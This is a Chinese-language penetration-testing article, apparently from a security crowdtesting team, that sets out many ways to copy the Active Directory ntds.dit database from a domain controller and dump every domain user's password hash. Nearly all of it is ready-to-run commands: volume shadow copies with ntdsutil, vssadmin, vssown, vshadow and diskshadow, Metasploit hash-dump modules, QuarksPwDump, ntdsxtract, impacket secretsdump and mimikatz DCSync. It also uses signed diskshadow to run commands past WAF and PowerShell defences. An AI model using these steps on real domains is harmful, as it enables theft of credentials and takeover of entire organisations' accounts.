ntds.dit導出與利用總結
STATEMENT
聲明
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
介紹
Ntds.dit(也被稱為Active Directory database),默認路徑為:C:\Windows\NTDS,且只能通過域控制器進程和協議訪問。

直接復制是無法復制出來的,會彈出提示框,提示文件已在Encrypting File System(EFS)中打開

Ntdsutil工具提取方法
Ntdsutil介紹:
ntdsutil.exe是一個Active Directory提供管理設施的命令行工具。可使用ntdsutil.exe執行Active Directory的數據庫維護,管理和控制單個主機操作,創建應用程序目錄分區,以及刪除由未使用Active Directory安裝向導(DCPromp.exe)成功降級的域控制器留下的元數據,該工具默認被安裝在域控制器上,我們可以在域控制器上進行操作,也可以通過域內機器遠程在域控制器上操作
支持的操作系統:Server 2003、Server 2008、Server 2012
創建快照:
ntdsutil snapshot "activate instance ntds" create quit quit

查看快照是否創建成功:
ntdsutil snapshot "List All" quit quit

掛載快照:
ntdsutil snapshot "mount {GUID}" quit quit

拷貝快照:
copy C:\$SNAP_202202281107_VOLUMEC$\windowstdstds.dit c:\windows\temptds.dit

復制文件:
這樣子就可以把ntds文件復制出來了

卸載并刪除快照:
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit

vssadmin工具提取
vssadmin介紹:
vssadmin1是Windows Server 2008及Windows 7系統提供的VSS管理工具,它可以用于創建或刪除卷影副本,列出卷影副本的信息(只能管理系統Provider創建的卷影副本)。還可以用于顯示所有安裝的所有卷影副本寫入程序(writers)和提供程序(providers),以及改變卷影副本存儲空間(即所謂的“diff空間”)的大小等。支持的操作系統:Server 2008、Server 2012
創建快照:
vssadmin create shadow /for=c:

復制文件:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit


刪除快照:
vssadmin delete shadows /for=c: /quiet

vssown.vbs
vssown介紹:
vssown.vbs和vssadmin類似,它是由Tim Tomes開發完成的,它可以創建和刪除卷影副本,以及啟動和停止卷影復制服務。下載地址:
https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs
啟動卷影復制服務:
cscript vssown.vbs /start

創建一個C盤的卷影副本:
cscript vssown.vbs /create c

列出當前卷影副本:
cscript vssown.vbs /list

復制文件:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit

刪除卷影副本:
cscript vssown.vbs /delete {ID}

NTDSUTIL的IFM
將ntds.dit復制到C盤下的test文件夾中的Active Directory文件夾中:
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q將ntds.dit復制到C盤下的test文件夾中的Active Directory文件夾中:


Nishang
Nishang介紹:
Nishang 是一個框架和腳本和有效負載的集合,它支持使用 PowerShell 進行攻擊性安全、滲透測試和紅隊。Nishang 在滲透測試的所有階段都很有用。其中Copy-VSS.ps1腳本,可以有效的下載地址:https://github.com/samratashok/nishang
導入Copy-VSS.ps1:
import-module .\Copy-VSS.ps1

執行命令:
Copy-vss

vshadow
vshadow介紹:
vshadow是一個簡單的指令行工具,它允許任何人創建卷影拷貝。因為是微軟自帶的,所以可以有效的Bypass防火墻。下載地址:
https://developer.microsoft.com/en-us/windows/downloads/sdk-archive/
vshadow創建快照:
vshadow.exe -p -nw C:

vshadow查看快照:
vshadow.exe -q

復制文件:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit

vshadow刪除快照:
vshadow.exe -da

diskshadow
diskshadow介紹:
DiskShadow.exe這款工具可以使用卷影拷貝服務(VSS)所提供的多個功能。默認配置下DiskShadow.exe使用了一種交互式命令解釋器,這里跟DiskRaid或DiskPart比較類似。事實上,因為DiskShadow的代碼是由微軟官方簽名的,而且在Windows Server 2008、Windows Server 2012和Windows Server 2016中默認包含了DiskShadow。DiskShadow.exe也是可以用來操作VSS導出ntds.dit,其功能上類似vshadow。它同樣是被放在了c:\windows\system32目錄中,而vshadow則是被包含在windowsSDK中,實戰中可能還需要想辦法傳到目標機器上,也就是說,diskshadow在我們實際滲透過程中更便于在目標系統上使用。diskshadow擁有交互模式和非交互模式兩種,交互模式需要登錄遠程桌面等圖形化管理方法,不利于隱蔽的進行滲透,所以我們一般使用非交互模式進行操作。因為不論是交互模式還是非交互模式都可以使用EXEC通過調取一個腳本文件執行相關命令
diskshadow基礎用法:
先寫一個執行計算機的命令保存到c盤
echo exec C:\Windows\System32\calc.exe > c:\command.txt
然后使用diskshadow執行即可打開計算機,使用此方法還可以繞過很多waf,比如powershell無文件落地,因為diskshadow自帶微軟官方簽名
diskshadow.exe /s c:\command.txt

diskshadow提取ntds.dit:
把以下代碼保存到txt并執行
set context persistent nowritersadd volume c: alias someAliascreateexpose %someAlias% k:exec “cmd.exe” /c copy K:\Windows\NTDStds.dit c:tds.ditdelete shadows alllist shadows allresetexit

可以看到多出來了一個盤,這個盤的windows\NTDS\文件夾是可以復制出來的

使用Metasploit獲取域散列
msf中可能用到的模塊
post/windows/gather/ntds_location 該模塊可查看ntds路徑post/windows/gather/smart_hashdump 在線導出域賬號hash(建議在2012以上使用)auxiliary/admin/smb/psexec_ntdsgrad 利用域管賬號,導出ntds必要文件到本地post/windows/gather/ntds_grabber 利用powershell將ntds必要文件下載到本地后導出post/windows/gather/credentials/domain_hashdump 介紹其方法
模塊:post/windows/gather/ntds_location
該模塊可查看ntds路徑,首先獲取一個域控的shell

獲取shell之后,使用模塊進行查找路徑:
msf6 > search ntdsmsf6 > use post/windows/gather/ntds_locationmsf6 post(windows/gather/ntds_location) > set SESSION 1msf6 post(windows/gather/ntds_location) > run

模塊:post/windows/gather/smart_hashdump
在線導出域賬號hash(建議在2012以上使用)
msf6 > search smart_hashmsf6 > use post/windows/gather/smart_hashdumpmsf6 post(windows/gather/smart_hashdump) > set SESSION 1msf6 post(windows/gather/smart_hashdump) > run

模塊:auxiliary/admin/smb/psexec_ntdsgrad
利用域管賬號,導出ntds必要文件到本地
msf6 > search ntdsmsf6 > use auxiliary/admin/smb/psexec_ntdsgrabmsf6 auxiliary(admin/smb/psexec_ntdsgrab) > set RHOSTS 172.16.1.169msf6 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBDomain 域名msf6 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBUser 用戶名msf6 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBPass 密碼msf6 auxiliary(admin/smb/psexec_ntdsgrab) > run

模塊:post/windows/gather/ntds_grabber
利用powershell將ntds必要文件下載到本地后導出msf6 > search ntds_grabbermsf6 > use post/windows/gather/ntds_grabbermsf6 post(windows/gather/smart_hashdump) > set SESSION 1msf6 post(windows/gather/smart_hashdump) > run

QuarksPwDump導出域賬號域散列值
QuarksPwDump介紹:
QuarksPwDump是一款開放源代碼的Windows用戶憑據提取工具,它可以抓取windows平臺下多種類型的用戶憑據,包括:本地帳戶、域帳戶、緩存的域帳戶和Bitlocker等等。
下載地址:https://github.com/tuthimi/quarkspwdump/
從注冊表抓取System:
reg save hklm\system system.hive

修復ntds.dit:
esentutl /p /o ntds.dit
QuarksPwDump導出域用戶hash到log.txt:
QuarksPwDump.exe -dhd -sf system.hive -nt ntds.dit -o log.txt

使用esedbexport恢復ntds.dit
安裝依賴:
sudo apt-get install autoconf automake autopoint libtool pkg-config

安裝libesedb:
下載地址:https://github.com/libyal/libesedb

進行安裝
wget https://github.com/libyal/libesedb/releases/download/20200418/libesedb-experimental-20200418.tar.gztar zvxf libesedb-experimental-20200418.tar.gz./configuresudo make && make install && ldconfigsudo ldconfigesedbtools/esedbexport

使用libesedb提取信息:
esedbexport -m tables ntds.dit

提取完了后會出現一個文件夾,里面存放了很多個表

安裝ntdsxtract:
git clone https://github.com/csababarta/ntdsxtract.gitcd ntdsxtract/python setup.py build && python setup.py install

安裝完成后將提取出的tds.dit.export文件夾中的datatable.3和link_table.5文件,以及System文件一起放入ntdsxtract文件夾,system文件位置在
C:\Windows\System32\config
如果復制不出來可以使用diskshadow,或者從注冊表中導出
reg save hklm\system system.hive
然后使用以下命令將域內的所有用戶及散列值導出到result.txt文件中
python dsusers.py datatable.3 link_table.5 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee result.txt
使用impacket導出Hash
介紹:
Impacket是用于處理網絡協議的Python類的集合。Impacket專注于提供對數據包的低級編程訪問,對于某些協議(如SMB1-3和MSRPC),提供協議實現本身。數據包可以從零開始構造,也可以從原始數據解析,而面向對象的API使使用深層協議層次結構變得簡單。
下載:
git clone https://github.com/SecureAuthCorp/impacket.gitpython setup.py install
導出Hash:
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

利用Dcsync獲取域用戶Hash
介紹:
Mimikatz有一個名為dcsync的功能,它利用目錄復制服務直接讀取ntds.dit文件檢索哈希值,但是必須使用域管理員權限運行mimikatz才可以讀取ntds.dit
使用方法:
lsadump::dcsync /domain:god.org /all /csv
指定某個用戶:
lsadump::dcsync /domain:god.org /all /user:Administrator

RECRUITMENT